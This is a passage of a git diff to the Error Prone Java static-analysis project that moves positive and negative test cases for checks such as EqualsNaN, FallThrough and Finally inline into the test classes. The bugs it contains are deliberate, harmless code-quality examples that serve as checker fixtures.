!Float.isNaN(3.0f) + static final boolean THREE_NOT_FLOAT_NAN = 3.0f != Float.NaN; + + // BUG: Diagnostic contains: Double.isNaN(Double.NaN) + static final boolean NAN_IS_NAN = Double.NaN == Double.NaN; + + // BUG: Diagnostic contains: Double.isNaN(123456) + static final boolean INT_IS_NAN = 123456 == Double.NaN; + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/EqualsNaNNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsNaNNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author lowasser@google.com (Louis Wasserman) + */ + public class EqualsNaNNegativeCases { + static final boolean NAN_AFTER_MATH = (0.0 / 0.0) == 1.0; + static final boolean NORMAL_COMPARISON = 1.0 == 2.0; + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsReferenceTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsReferenceTest.java index a19651ca060..cd7d42cae63 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsReferenceTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsReferenceTest.java @@ -31,11 +31,122 @@ public class EqualsReferenceTest { @Test public void positiveCases() { - compilationTestHelper.addSourceFile("testdata/EqualsReferencePositiveCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "EqualsReferencePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** Created by mariasam on 6/22/17. */ + public class EqualsReferencePositiveCases { + + @Override + // BUG: Diagnostic contains: == + public boolean equals(Object o) { + System.out.println(this.equals(o)); + return true; + } + + class EqualsInElse { + @Override + // BUG: Diagnostic contains: == + public boolean equals(Object o) { + System.out.println(o == this); + return this.equals(o); + } + } + + class FinalObject { + @Override + // BUG: Diagnostic contains: == + public boolean equals(final Object object) { + return this.equals(object); + } + } + + class NoThis { + @Override + // BUG: Diagnostic contains: == + public boolean equals(Object o) { + return equals(o); + } + } + }""") + .doTest(); } @Test public void negativeCases() { - compilationTestHelper.addSourceFile("testdata/EqualsReferenceNegativeCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "EqualsReferenceNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** Created by mariasam on 6/23/17. */ + public class EqualsReferenceNegativeCases { + + @Override + public boolean equals(Object o) { + return (this == o); + } + + class OtherEquals { + @Override + public boolean equals(Object o) { + if (o.equals("hi")) { + return true; + } else { + return o == this; + } + } + } + + class EqualsThisLast { + @Override + public boolean equals(Object o) { + if (o instanceof EqualsThisLast) { + return true; + } + return o.equals(this); + } + } + + class Foo { + @Override + public boolean equals(Object o) { + return o instanceof Foo && this.equals((Foo) o); + } + + public boolean equals(Foo o) { + return true; + } + } + + class OtherEqualsMethod { + @Override + public boolean equals(Object o) { + return equals((String) o); + } + + public boolean equals(String o) { + return true; + } + } + + class CodeBase { + public CodeBase(Object o) {} + + public boolean equals(Object obj) { + CodeBase other = (CodeBase) obj; + return equals(new CodeBase(other.getValue())); + } + + public Object getValue() { + return null; + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ErroneousThreadPoolConstructorCheckerTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ErroneousThreadPoolConstructorCheckerTest.java index 0a42e604775..bb1fefe98c7 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ErroneousThreadPoolConstructorCheckerTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ErroneousThreadPoolConstructorCheckerTest.java @@ -36,14 +36,186 @@ public class ErroneousThreadPoolConstructorCheckerTest { @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/ErroneousThreadPoolConstructorCheckerPositiveCases.java") + .addSourceLines( + "ErroneousThreadPoolConstructorCheckerPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static java.util.Comparator.comparingInt; +import static java.util.concurrent.TimeUnit.SECONDS; + +import java.util.Collection; +import java.util.concurrent.LinkedBlockingDeque; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.LinkedTransferQueue; +import java.util.concurrent.PriorityBlockingQueue; +import java.util.concurrent.ThreadPoolExecutor; + +/** + * Positive test cases for {@link + * com.google.errorprone.bugpatterns.ErroneousThreadPoolConstructorChecker} bug pattern. + */ +final class ErroneousThreadPoolConstructorCheckerPositiveCases { + + private static final int CORE_POOL_SIZE = 10; + private static final int MAXIMUM_POOL_SIZE = 20; + private static final long KEEP_ALIVE_TIME = 60; + + private void createThreadPoolWithUnboundedLinkedBlockingQueue(Collection initialTasks) { + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingQueue<>()); + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new LinkedBlockingQueue<>(initialTasks)); + } + + private void createThreadPoolWithUnboundedLinkedBlockingDeque(Collection initialTasks) { + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingDeque<>()); + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new LinkedBlockingDeque<>(initialTasks)); + } + + private void createThreadPoolWithUnboundedLinkedTransferQueue(Collection initialTasks) { + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedTransferQueue<>()); + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new LinkedTransferQueue<>(initialTasks)); + } + + private void createThreadPoolWithUnboundedPriorityBlockingQueue( + int initialCapacity, Collection initialTasks) { + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new PriorityBlockingQueue<>()); + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new PriorityBlockingQueue<>(initialTasks)); + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new PriorityBlockingQueue<>(initialCapacity)); + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new PriorityBlockingQueue<>(initialCapacity, comparingInt(Object::hashCode))); + } +}""") .doTest(); } @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/ErroneousThreadPoolConstructorCheckerNegativeCases.java") + .addSourceLines( + "ErroneousThreadPoolConstructorCheckerNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static java.util.concurrent.TimeUnit.SECONDS; + +import java.util.Collection; +import java.util.concurrent.ArrayBlockingQueue; +import java.util.concurrent.LinkedBlockingDeque; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.SynchronousQueue; +import java.util.concurrent.ThreadPoolExecutor; + +/** + * Negative test cases for {@link + * com.google.errorprone.bugpatterns.ErroneousThreadPoolConstructorChecker} bug pattern. + */ +final class ErroneousThreadPoolConstructorCheckerNegativeCases { + + private static final int CORE_POOL_SIZE = 10; + private static final int MAXIMUM_POOL_SIZE = 20; + private static final long KEEP_ALIVE_TIME = 60; + + private void createThreadPoolWithUnboundedQueue() { + new ThreadPoolExecutor( + MAXIMUM_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new LinkedBlockingQueue<>()); + } + + private void createThreadPoolWithUnboundedQueueAndEmptyPool() { + new ThreadPoolExecutor(0, 1, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingQueue<>()); + } + + private void createThreadPoolWithBoundedArrayBlockingQueue( + int initialCapacity, boolean fair, Collection initialTasks) { + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new ArrayBlockingQueue<>(initialCapacity)); + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new ArrayBlockingQueue<>(initialCapacity, fair)); + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new ArrayBlockingQueue<>(initialCapacity, fair, initialTasks)); + } + + private void createThreadPoolWithBoundedLinkedBlockingQueue(int capacity) { + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new LinkedBlockingQueue<>(capacity)); + } + + private void createThreadPoolWithBoundedLinkedBlockingDeque(int capacity) { + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new LinkedBlockingDeque<>(capacity)); + } + + private void createThreadPoolWithBoundedSynchronousQueue() { + new ThreadPoolExecutor( + CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new SynchronousQueue<>()); + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FallThroughTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FallThroughTest.java index d6d06a3a89a..7d2eb947a1f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FallThroughTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FallThroughTest.java @@ -33,12 +33,239 @@ public class FallThroughTest { @Test public void positive() { - testHelper.addSourceFile("testdata/FallThroughPositiveCases.java").doTest(); + testHelper + .addSourceLines( + "FallThroughPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + public class FallThroughPositiveCases { + + class NonTerminatingTryFinally { + + public int foo(int i) { + int z = 0; + switch (i) { + case 0: + try { + if (z > 0) { + return i; + } else { + z++; + } + } finally { + z++; + } + // BUG: Diagnostic contains: + case 1: + return -1; + default: + return 0; + } + } + } + + abstract class TryWithNonTerminatingCatch { + + int foo(int i) { + int z = 0; + switch (i) { + case 0: + try { + return bar(); + } catch (RuntimeException e) { + log(e); + throw e; + } catch (Exception e) { + log(e); // don't throw + } + // BUG: Diagnostic contains: + case 1: + return -1; + default: + return 0; + } + } + + abstract int bar() throws Exception; + + void log(Throwable e) {} + } + + public class Tweeter { + + public int numTweets = 55000000; + + public int everyBodyIsDoingIt(int a, int b) { + switch (a) { + case 1: + System.out.println("1"); + // BUG: Diagnostic contains: + case 2: + System.out.println("2"); + // BUG: Diagnostic contains: + default: + } + return 0; + } + } + }""") + .doTest(); } @Test public void negative() { - testHelper.addSourceFile("testdata/FallThroughNegativeCases.java").doTest(); + testHelper + .addSourceLines( + "FallThroughNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.FileInputStream; + import java.io.IOException; + + public class FallThroughNegativeCases { + + public class AllowAnyComment { + + public int numTweets = 55000000; + + public int everyBodyIsDoingIt(int a, int b) { + switch (a) { + case 1: + System.out.println("1"); + // fall through + case 2: + System.out.println("2"); + break; + default: + } + return 0; + } + } + + static class EmptyDefault { + + static void foo(String s) { + switch (s) { + case "a": + case "b": + throw new RuntimeException(); + default: + // do nothing + } + } + + static void bar(String s) { + switch (s) { + default: + } + } + } + + class TerminatedSynchronizedBlock { + + private final Object o = new Object(); + + int foo(int i) { + switch (i) { + case 0: + synchronized (o) { + return i; + } + case 1: + return -1; + default: + return 0; + } + } + } + + class TryWithNonTerminatingFinally { + + int foo(int i) { + int z = 0; + switch (i) { + case 0: + try { + return i; + } finally { + z++; + } + case 1: + return -1; + default: + return 0; + } + } + } + + abstract class TryWithTerminatingCatchBlocks { + + int foo(int i) { + int z = 0; + switch (i) { + case 0: + try { + return bar(); + } catch (RuntimeException e) { + log(e); + throw e; + } catch (Exception e) { + log(e); + throw new RuntimeException(e); + } + case 1: + return -1; + default: + return 0; + } + } + + int tryWithResources(String path, int i) { + switch (i) { + case 0: + try (FileInputStream f = new FileInputStream(path)) { + return f.read(); + } catch (IOException e) { + throw new RuntimeException(e); + } + case 1: + try (FileInputStream f = new FileInputStream(path)) { + return f.read(); + } catch (IOException e) { + throw new RuntimeException(e); + } + default: + throw new RuntimeException("blah"); + } + } + + abstract int bar() throws Exception; + + void log(Throwable e) {} + } + + class TryWithTerminatingFinally { + + int foo(int i) { + int z = 0; + switch (i) { + case 0: + try { + z++; + } finally { + return i; + } + case 1: + return -1; + default: + return 0; + } + } + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FinallyTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FinallyTest.java index 4ebde3e5fb6..b00d773ed64 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FinallyTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FinallyTest.java @@ -32,22 +32,424 @@ public class FinallyTest { @Test public void positiveCase1() { - compilationHelper.addSourceFile("testdata/FinallyPositiveCase1.java").doTest(); + compilationHelper + .addSourceLines( + "FinallyPositiveCase1.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * When a finally statement is exited because of a return, throw, break, or continue statement, + * unintuitive behaviour can occur. Consider: + * + *

+ * {@code
+ * finally foo() {
+ *   try {
+ *     return true;
+ *   } finally {
+ *     return false;
+ *   }
+ * }
+ * 
+ * + * Because the finally block always executes, the first return statement has no effect and the + * method will return false. + * + * @author eaftan@google.com (Eddie Aftandilian) + * @author cushon@google.com (Liam Miller-Cushon) + */ +public class FinallyPositiveCase1 { + + public static void test1() { + while (true) { + try { + } finally { + // BUG: Diagnostic contains: + break; + } + } + } + + public static void test2() { + while (true) { + try { + } finally { + // BUG: Diagnostic contains: + continue; + } + } + } + + public static void test3() { + try { + } finally { + // BUG: Diagnostic contains: + return; + } + } + + public static void test4() throws Exception { + try { + } finally { + // BUG: Diagnostic contains: + throw new Exception(); + } + } + + /** + * break statement jumps to outer labeled while, not inner one. + */ + public void test5() { + label: + while (true) { + try { + } finally { + while (true) { + // BUG: Diagnostic contains: + break label; + } + } + } + } + + /** + * continue statement jumps to outer labeled for, not inner one. + */ + public void test6() { + label: + for (;;) { + try { + } finally { + for (;;) { + // BUG: Diagnostic contains: + continue label; + } + } + } + } + + /** + * continue statement jumps to while, not switch. + */ + public void test7() { + int i = 10; + while (true) { + try { + } finally { + switch (i) { + case 10: + // BUG: Diagnostic contains: + continue; + } + } + } + } + + public void test8() { + try { + } finally { + // BUG: Diagnostic contains: + { { { { { { { { { { return; } } } } } } } } } } + } + } + + // Don't assume that completion statements occur inside methods: + static boolean flag = false; + static { + while (flag) { + try { + } finally { + // BUG: Diagnostic contains: + break; + } + } + } +}""") + .doTest(); } @Test public void positiveCase2() { - compilationHelper.addSourceFile("testdata/FinallyPositiveCase2.java").doTest(); + compilationHelper + .addSourceLines( + "FinallyPositiveCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.IOException; + + /** + * @author cushon@google.com (Liam Miller-Cushon) + */ + public class FinallyPositiveCase2 { + public void completeWithReturn(boolean flag) { + try { + + } finally { + // BUG: Diagnostic contains: + return; + } + } + + public void completeWithThrow(boolean flag) throws Exception { + try { + + } finally { + // BUG: Diagnostic contains: + throw new Exception(); + } + } + + public void unreachableThrow(boolean flag) throws Exception { + try { + + } finally { + if (flag) { + // BUG: Diagnostic contains: + throw new Exception(); + } + } + } + + public void nestedBlocks(int i, boolean flag) throws Exception { + try { + + } finally { + switch (i) { + default: + { + while (flag) { + do { + if (flag) { + } else { + // BUG: Diagnostic contains: + throw new Exception(); + } + } while (flag); + } + } + } + } + } + + public void nestedFinally() throws Exception { + try { + + } finally { + try { + } finally { + // BUG: Diagnostic contains: + throw new IOException(); + } + } + } + + public void returnFromTryNestedInFinally() { + try { + } finally { + try { + // BUG: Diagnostic contains: + return; + } finally { + } + } + } + + public void returnFromCatchNestedInFinally() { + try { + } finally { + try { + } catch (Exception e) { + // BUG: Diagnostic contains: + return; + } finally { + } + } + } + + public void throwUncaughtFromNestedTryInFinally() throws Exception { + try { + } finally { + try { + // BUG: Diagnostic contains: + throw new Exception(); + } finally { + } + } + } + + public void throwFromNestedCatchInFinally() throws Exception { + try { + } finally { + try { + } catch (Exception e) { + // BUG: Diagnostic contains: + throw new Exception(); + } finally { + } + } + } + }""") + .doTest(); } @Test public void negativeCase1() { - compilationHelper.addSourceFile("testdata/FinallyNegativeCase1.java").doTest(); + compilationHelper + .addSourceLines( + "FinallyNegativeCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class FinallyNegativeCase1 { + + public static void test1() { + while (true) { + try { + break; + } finally { + } + } + } + + public static void test2() { + while (true) { + try { + continue; + } finally { + } + } + } + + public static void test3() { + try { + return; + } finally { + } + } + + public static void test4() throws Exception { + try { + throw new Exception(); + } catch (Exception e) { + } finally { + } + } + + /** break inner loop. */ + public void test5() { + label: + while (true) { + try { + } finally { + while (true) { + break; + } + } + } + } + + /** continue statement jumps out of inner for. */ + public void test6() { + label: + for (; ; ) { + try { + } finally { + for (; ; ) { + continue; + } + } + } + } + + /** break statement jumps out of switch. */ + public void test7() { + int i = 10; + while (true) { + try { + } finally { + switch (i) { + case 10: + break; + } + } + } + } + }""") + .doTest(); } @Test public void negativeCase2() { - compilationHelper.addSourceFile("testdata/FinallyNegativeCase2.java").doTest(); + compilationHelper + .addSourceLines( + "FinallyNegativeCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.IOException; + + /** + * @author cushon@google.com (Liam Miller-Cushon) + */ + public class FinallyNegativeCase2 { + public void test1(boolean flag) { + try { + return; + } finally { + } + } + + public void test2() throws Exception { + try { + } catch (Exception e) { + throw new Exception(); + } finally { + } + } + + public void returnInAnonymousClass(boolean flag) { + try { + } finally { + new Object() { + void foo() { + return; + } + }; + } + } + + public void throwFromNestedTryInFinally() throws Exception { + try { + } finally { + try { + throw new Exception(); + } catch (Exception e) { + } finally { + } + } + } + + public void nestedTryInFinally2() throws Exception { + try { + } finally { + try { + // This exception will propagate out through the enclosing finally, + // but we don't do exception analysis and have no way of knowing that. + // Xlint:finally doesn't handle this either, since it only reports + // situations where the end of a finally block is unreachable as + // defined by JLS 14.21. + throw new IOException(); + } catch (Exception e) { + } + } + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FloatingPointAssertionWithinEpsilonTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FloatingPointAssertionWithinEpsilonTest.java index a2013289e38..e44212ff07b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FloatingPointAssertionWithinEpsilonTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FloatingPointAssertionWithinEpsilonTest.java @@ -36,14 +36,116 @@ public final class FloatingPointAssertionWithinEpsilonTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/FloatingPointAssertionWithinEpsilonPositiveCases.java") + .addSourceLines( + "FloatingPointAssertionWithinEpsilonPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + import static org.junit.Assert.assertEquals; + + /** + * Positive test cases for FloatingPointAssertionWithinEpsilon check. + * + * @author ghm@google.com (Graeme Morgan) + */ + final class FloatingPointAssertionWithinEpsilonPositiveCases { + + private static final float TOLERANCE = 1e-10f; + private static final double TOLERANCE2 = 1e-20f; + private static final float VALUE = 1; + + public void testFloat() { + // BUG: Diagnostic contains: 6.0e-08 + assertThat(1.0f).isWithin(1e-20f).of(1.0f); + // BUG: Diagnostic contains: 6.0e-08 + assertThat(1f).isWithin(TOLERANCE).of(VALUE); + // BUG: Diagnostic contains: 1.0e+03 + assertThat(1e10f).isWithin(1).of(1e10f); + + // BUG: Diagnostic contains: 1.2e-07 + assertThat(1f).isNotWithin(1e-10f).of(2); + + // BUG: Diagnostic contains: 6.0e-08 + assertEquals(1f, 1f, TOLERANCE); + // BUG: Diagnostic contains: 6.0e-08 + assertEquals("equal!", 1f, 1f, TOLERANCE); + } + + public void testDouble() { + // BUG: Diagnostic contains: 1.1e-16 + assertThat(1.0).isWithin(1e-20).of(1.0); + // BUG: Diagnostic contains: 1.1e-16 + assertThat(1.0).isWithin(TOLERANCE2).of(1.0f); + // BUG: Diagnostic contains: 1.1e-16 + assertThat(1.0).isWithin(TOLERANCE2).of(1); + // BUG: Diagnostic contains: 1.6e+04 + assertThat(1e20).isWithin(1).of(1e20); + + // BUG: Diagnostic contains: 1.4e-17 + assertThat(0.1).isNotWithin(TOLERANCE2).of(0.1f); + + // BUG: Diagnostic contains: 1.1e-16 + assertEquals(1.0, 1.0, TOLERANCE2); + // BUG: Diagnostic contains: 1.1e-16 + assertEquals("equal!", 1.0, 1.0, TOLERANCE2); + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/FloatingPointAssertionWithinEpsilonNegativeCases.java") + .addSourceLines( + "FloatingPointAssertionWithinEpsilonNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + import static org.junit.Assert.assertEquals; + + /** + * Negative test cases for FloatingPointAssertionWithinEpsilon check. + * + * @author ghm@google.com (Graeme Morgan) + */ + final class FloatingPointAssertionWithinEpsilonNegativeCases { + + private static final float TOLERANCE = 1e-5f; + private static final double TOLERANCE2 = 1e-10f; + private static final float VALUE = 1; + + public void testFloat() { + String test = Boolean.TRUE.toString(); + assertThat(1.0f).isWithin(1e-5f).of(1.0f); + assertThat(1f).isWithin(TOLERANCE).of(VALUE); + assertThat(1f).isWithin(1).of(1); + + assertThat(1f).isNotWithin(0).of(2f); + + assertThat(1f).isNotWithin(.5f).of(2f); + + assertEquals(1f, 1f, TOLERANCE); + } + + public void testDouble() { + String test = Boolean.TRUE.toString(); + assertThat(1.0).isWithin(1e-10).of(1.0); + assertThat(1.0).isWithin(TOLERANCE2).of(1f); + assertThat(1.0).isWithin(TOLERANCE2).of(1); + + assertEquals(1.0, 1.0, TOLERANCE); + } + + public void testZeroCases() { + assertThat(1.0).isWithin(0.0).of(1.0); + assertThat(1f).isWithin(0f).of(1f); + assertThat(1f).isWithin(0).of(1f); + + assertEquals(1f, 1f, 0f); + } + }""") .doTest(); } @@ -51,8 +153,99 @@ public void negativeCase() { public void fixes() { BugCheckerRefactoringTestHelper.newInstance( FloatingPointAssertionWithinEpsilon.class, getClass()) - .addInput("testdata/FloatingPointAssertionWithinEpsilonPositiveCases.java") - .addOutput("testdata/FloatingPointAssertionWithinEpsilonPositiveCases_expected.java") + .addInputLines( + "FloatingPointAssertionWithinEpsilonPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + import static org.junit.Assert.assertEquals; + + /** + * Positive test cases for FloatingPointAssertionWithinEpsilon check. + * + * @author ghm@google.com (Graeme Morgan) + */ + final class FloatingPointAssertionWithinEpsilonPositiveCases { + + private static final float TOLERANCE = 1e-10f; + private static final double TOLERANCE2 = 1e-20f; + private static final float VALUE = 1; + + public void testFloat() { + // BUG: Diagnostic contains: 6.0e-08 + assertThat(1.0f).isWithin(1e-20f).of(1.0f); + // BUG: Diagnostic contains: 6.0e-08 + assertThat(1f).isWithin(TOLERANCE).of(VALUE); + // BUG: Diagnostic contains: 1.0e+03 + assertThat(1e10f).isWithin(1).of(1e10f); + + // BUG: Diagnostic contains: 1.2e-07 + assertThat(1f).isNotWithin(1e-10f).of(2); + + // BUG: Diagnostic contains: 6.0e-08 + assertEquals(1f, 1f, TOLERANCE); + // BUG: Diagnostic contains: 6.0e-08 + assertEquals("equal!", 1f, 1f, TOLERANCE); + } + + public void testDouble() { + // BUG: Diagnostic contains: 1.1e-16 + assertThat(1.0).isWithin(1e-20).of(1.0); + // BUG: Diagnostic contains: 1.1e-16 + assertThat(1.0).isWithin(TOLERANCE2).of(1.0f); + // BUG: Diagnostic contains: 1.1e-16 + assertThat(1.0).isWithin(TOLERANCE2).of(1); + // BUG: Diagnostic contains: 1.6e+04 + assertThat(1e20).isWithin(1).of(1e20); + + // BUG: Diagnostic contains: 1.4e-17 + assertThat(0.1).isNotWithin(TOLERANCE2).of(0.1f); + + // BUG: Diagnostic contains: 1.1e-16 + assertEquals(1.0, 1.0, TOLERANCE2); + // BUG: Diagnostic contains: 1.1e-16 + assertEquals("equal!", 1.0, 1.0, TOLERANCE2); + } + }""") + .addOutputLines( + "FloatingPointAssertionWithinEpsilonPositiveCases_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + import static org.junit.Assert.assertEquals; + + /** + * Expected refactoring output for FloatingPointAssertionWithinEpsilon bugpattern. + * + * @author ghm@google.com (Graeme Morgan) + */ + final class FloatingPointAssertionWithinEpsilonPositiveCases { + + private static final float TOLERANCE = 1e-10f; + private static final double TOLERANCE2 = 1e-20f; + private static final float VALUE = 1; + + public void testFloat() { + assertThat(1.0f).isEqualTo(1.0f); + assertThat(1f).isEqualTo(VALUE); + assertThat(1e10f).isEqualTo(1e10f); + assertThat(1f).isNotEqualTo(2f); + assertEquals(1f, 1f, 0); + assertEquals("equal!", 1f, 1f, 0); + } + + public void testDouble() { + assertThat(1.0).isEqualTo(1.0); + assertThat(1.0).isEqualTo(1.0); + assertThat(1.0).isEqualTo(1d); + assertThat(1e20).isEqualTo(1e20); + assertThat(0.1).isNotEqualTo((double) 0.1f); + assertEquals(1.0, 1.0, 0); + assertEquals("equal!", 1.0, 1.0, 0); + } + }""") .doTest(TestMode.AST_MATCH); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FunctionalInterfaceMethodChangedTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FunctionalInterfaceMethodChangedTest.java index 4db70ebb6d9..16861402b2e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FunctionalInterfaceMethodChangedTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FunctionalInterfaceMethodChangedTest.java @@ -33,14 +33,177 @@ public class FunctionalInterfaceMethodChangedTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/FunctionalInterfaceMethodChangedPositiveCases.java") + .addSourceLines( + "FunctionalInterfaceMethodChangedPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + public class FunctionalInterfaceMethodChangedPositiveCases { + @FunctionalInterface + interface SuperFI { + void superSam(); + } + + @FunctionalInterface + interface OtherSuperFI { + void otherSuperSam(); + } + + @FunctionalInterface + interface SubFI extends SuperFI { + void subSam(); + + @Override + // BUG: Diagnostic contains: + default void superSam() { + subSam(); + System.out.println("do something else"); + } + } + + @FunctionalInterface + interface MultipleInheritanceSubFIOneBad extends SuperFI, OtherSuperFI { + void subSam(); + + @Override + default void superSam() { + subSam(); + } + + @Override + // BUG: Diagnostic contains: + default void otherSuperSam() { + subSam(); + System.out.println("do something else"); + } + } + + @FunctionalInterface + interface MultipleInheritanceSubFIBothBad extends SuperFI, OtherSuperFI { + void subSam(); + + @Override + // BUG: Diagnostic contains: + default void superSam() { + superSam(); + System.out.println("do something else"); + } + + @Override + // BUG: Diagnostic contains: + default void otherSuperSam() { + subSam(); + System.out.println("do something else"); + } + } + + @FunctionalInterface + interface ValueReturningSuperFI { + String superSam(); + } + + @FunctionalInterface + interface ValueReturningSubFI extends ValueReturningSuperFI { + String subSam(); + + @Override + // BUG: Diagnostic contains: + default String superSam() { + System.out.println("do something else"); + return subSam(); + } + } + + @FunctionalInterface + public interface ValueReturningSubFI2 extends ValueReturningSuperFI { + + String subSam(); + + @Override + // BUG: Diagnostic contains: + default String superSam() { + subSam(); + return null; + } + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/FunctionalInterfaceMethodChangedNegativeCases.java") + .addSourceLines( + "FunctionalInterfaceMethodChangedNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.concurrent.Callable; + + public class FunctionalInterfaceMethodChangedNegativeCases { + @FunctionalInterface + interface SuperFI { + void superSam(); + } + + @FunctionalInterface + interface OtherSuperFI { + void otherSuperSam(); + } + + @FunctionalInterface + interface SubFI extends SuperFI { + void subSam(); + + @Override + default void superSam() { + subSam(); + } + } + + @FunctionalInterface + interface MultipleInheritanceSubFI extends SuperFI, OtherSuperFI { + void subSam(); + + @Override + default void superSam() { + subSam(); + } + + @Override + default void otherSuperSam() { + subSam(); + } + } + + @FunctionalInterface + interface ValueReturningSuperFI { + String superSam(); + } + + @FunctionalInterface + interface ValueReturningSubFI extends ValueReturningSuperFI { + String subSam(); + + @Override + default String superSam() { + return subSam(); + } + } + + // Regression test for b/68075767 + @FunctionalInterface + public interface VoidCallable extends Callable { + + void voidCall() throws Exception; + + @Override + default Void call() throws 